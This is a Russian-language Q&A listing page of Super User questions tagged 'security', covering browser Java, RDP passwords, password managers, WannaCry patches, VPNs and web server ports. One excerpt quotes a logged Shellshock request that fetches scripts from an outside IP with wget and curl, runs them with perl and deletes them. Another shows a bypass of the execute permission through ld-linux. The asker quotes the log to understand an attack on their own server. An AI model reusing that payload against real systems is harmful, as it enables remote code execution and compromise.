Вопросы с тегом «security»

Я читаю, что отключение Java, а не JavaScript, сделает мой компьютер более безопасным от атак вредоносных программ. Все указывает на то, что это действительно сделает его более безопасным, но нет никаких реальных причин, как то, что я потеряю в процессе просмотра, во всяком случае. Может кто-нибудь сказать мне, что я …

23 security  browser  java 

Увидел это в access.logна моем тестовом сервере: > 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget > http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; > perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\"" Ни одно из адресов не имеет отношения ко мне или нашему …

23 security  shell-script  webserver 

Читая это , я обнаружил следующий эксплойт: % cp /usr/bin/id ~ % chmod -x ~/id % ls -al ~/id -rw-r--r-- 1 edd edd 22020 2012-08-01 15:06 /home/edd/id % ~/id zsh: permission denied: /home/edd/id % /lib/ld-linux.so.2 ~/id uid=1001(edd) gid=1001(edd) groups=1001(edd),1002(wheel) Этот фрагмент показывает, что мы можем тривиально обойти разрешения на выполнение …

23 linux  security  file-permissions  shared-libraries 

Мне действительно нравится это дополнение HTTPS Everywhere для Firefox. Но я склонен к браузерному переходу, поэтому были ли выпущены похожие HTTPS-предпочтительные дополнения для других основных браузеров?

23 security  browser  browser-addons  ssl  https 

Сохранены ли сохраненные учетные данные удаленного рабочего стола (условно говоря) на локальном компьютере? По крайней мере, они нигде не хранятся в виде открытого текста, не так ли? Изменить: я понимаю присущие риски сохранения паролей. Конечно, хотя и есть спектр эффективности, например, сохранение пароля через что-то вроде CryptProtectData( что Google Chrome …

23 windows-7  security  remote-desktop  passwords 

Учитывая недавние проблемы атак типа «человек посередине», я фактически обратил внимание на предупреждение, которое я получаю при подключении к серверу: Выбрав Просмотр сертификата , я собирался проверить SHA1 отпечаток : Кому выдано : корсар эмитированных : корсар Действительно с : 9/5/2013 до 3/7/2014 Отпечатков (SHA1):‎e9 c5 d7 17 95 95 …

23 security  remote-desktop  certificate  windows-server-2012 

Что эквивалентно ntrights.exeв Windows 7? Мне нужно, чтобы его можно было запустить из командной строки.

23 windows-7  command-line  security 

Закрыто. Этот вопрос не по теме . В настоящее время не принимает ответы. Хотите улучшить этот вопрос? Обновите вопрос, чтобы он соответствовал теме Супер пользователя. Закрыто 4 года назад . Есть ли менеджер паролей, который я могу использовать на нескольких компьютерах, чтобы запомнить все пароли, которые я использую на сайтах, …

23 security  sync  passwords  password-management 

Закрыто . Этот вопрос должен быть более сфокусированным . В настоящее время не принимает ответы. Хотите улучшить этот вопрос? Обновите вопрос, чтобы он был сосредоточен только на одной проблеме, отредактировав этот пост . Закрыто 2 года назад . В последнее время, в последний год или около того, я заметил, что …

22 networking  security  firewall 

Учитывая, что эксплойт WannaCry Ransomware работает, я хотел проверить, есть ли на моем компьютере специальное обновление для системы безопасности, которое должно устранить уязвимость - по-видимому, MS17-010, если я понимаю уязвимость, и это действительно правильный патч. Как можно проверить эту деталь? Microsoft пытается дать некоторые подробности, но это бред для того, …

22 windows  windows-10  security  wannacrypt 

Какие доступны варианты защиты паролем папки? Я говорю о том, что для доступа к папке требуется пароль, а не только права доступа пользователя. Является ли стороннее программное обеспечение безопасным и стабильным? Какие рекомендации?

21 windows  security  passwords  file-permissions 

Это то, что я задавался вопросом в течение длительного времени. Если, скажем, я использую Gmail через https, может ли кто-нибудь прочитать мои чаты и электронные письма, если я использую незащищенную беспроводную сеть? Я предполагаю, что данные будут в безопасности, поскольку они используют зашифрованное соединение. Есть что-нибудь еще, чтобы рассмотреть?

21 wireless-networking  security  encryption 

Существует несколько поставщиков услуг, которые позволяют пользователю обходить межсетевые экраны или анонимно использовать свой веб-доступ. Некоторые из них используют прокси, некоторые используют VPN. Большинство людей говорят, что VPN обычно работают лучше, чем прокси. Они также, как правило, дороже. Например, прокси предоставит международному пользователю доступ к Pandora.com, но не Hulu.com. VPN …

21 security  vpn  proxy 

Помимо основного вопроса, совместимы ли две технологии? Если да, то при каких обстоятельствах? Каковы относительные преимущества двух технологий?

21 email  security  encryption  gnupg  pgp 

Я использую небольшой веб-сайт, используя nginx. Поскольку (вероятно) не будет много трафика в течение срока службы моего сервера и чтобы избежать случайных DoS-атак, я подумываю настроить веб-сервер для прослушивания альтернативного порта вместо порта 80. Снижает ли прослушивание через альтернативный порт (81, 8080 и т. Д.) Риск атак или нарушений? Или …

20 networking  security  website  port